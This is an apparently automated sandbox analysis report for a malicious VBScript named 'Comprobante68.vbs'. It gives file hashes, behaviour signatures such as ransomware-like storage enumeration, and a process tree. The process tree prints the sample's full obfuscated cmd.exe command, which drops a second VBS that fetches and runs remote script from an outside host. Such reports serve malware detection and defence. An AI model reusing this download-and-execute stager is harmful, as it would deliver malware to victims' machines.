Analysis

  • max time kernel
    62s
  • max time network
    138s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    21-07-2021 20:57

General

  • Target

    Comprobante68.vbs

  • Size

    52KB

  • MD5

    c71257572d8131728c62b52248017025

  • SHA1

    e4c7ac7b3f4047d7ace1559df4c9894f3224e2f8

  • SHA256

    d2099233a72c282e64e85abcddb284cdffc18b24e088947254f9b55670f52f83

  • SHA512

    02bc2015753fd65b202be58fde85fe0e7b8028bdf7b76ed052170725a5fac4a691aac69f29bcdf44e0f4d6ac01e7780905e7b8140e36543f8f6c7949c999add8

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 5 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies registry class 1 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Comprobante68.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2256
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /V/D/c "SEt PU3=.vb&&SEt ga82= s6562 =ni0h58 ^"scni0h58rini0h58ptni0h58:^": lb078 =ni0h58 ^"hni0h58TtPsni0h58:^": Gni0h58etni0h58Objni0h58ecni0h58t(ni0h58s6562+lb078+^"&&sET ni0h58=fk56713fk56713contatornew3.3utilities.com/p1.php^")&&sEt/^p fba78="%ga82:ni0h58=%%ni0h58:fk56713=/%"<nul > C:\Users\Public\^hrw42d41%PU3%s|start cmd /c start C:\Users\Public\^hrw42d41%PU3%s"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2016
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" sEt/p fba78="%ga82:ni0h58=%%ni0h58:fk56713=/%" 0<nul 1>C:\Users\Public\hrw42d41%PU3%s"
        3⤵
          PID:2348
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" start cmd /c start C:\Users\Public\hrw42d41%PU3%s "
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2612
          • C:\Windows\system32\cmd.exe
            cmd /c start C:\Users\Public\hrw42d41.vbs
            4⤵
            • Modifies registry class
            • Suspicious use of WriteProcessMemory
            PID:2728
            • C:\Windows\System32\WScript.exe
              "C:\Windows\System32\WScript.exe" "C:\Users\Public\hrw42d41.vbs"
              5⤵
              • Blocklisted process makes network request
              PID:208

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • C:\Users\Public\hrw42d41.vbs

      MD5

      27a17097b2c92780df571e05d93d44b2

      SHA1

      bc1791586a61e54a5a41f1403e827d9ed91d2d8d

      SHA256

      87340165ea0fb1e06364aa479acb2ff104ceddeaace0e548f687b2960a28ed36

      SHA512

      58b60de98416aebec71e75e05fcf93e56ff77b7322ca6272e06eb9a84e18c344055b678e5430991d9f9467d883102c4323fbf1ea3ec46e117bbba3035c802d7c

    • memory/208-119-0x0000000000000000-mapping.dmp

    • memory/2016-114-0x0000000000000000-mapping.dmp

    • memory/2348-115-0x0000000000000000-mapping.dmp

    • memory/2612-116-0x0000000000000000-mapping.dmp

    • memory/2728-117-0x0000000000000000-mapping.dmp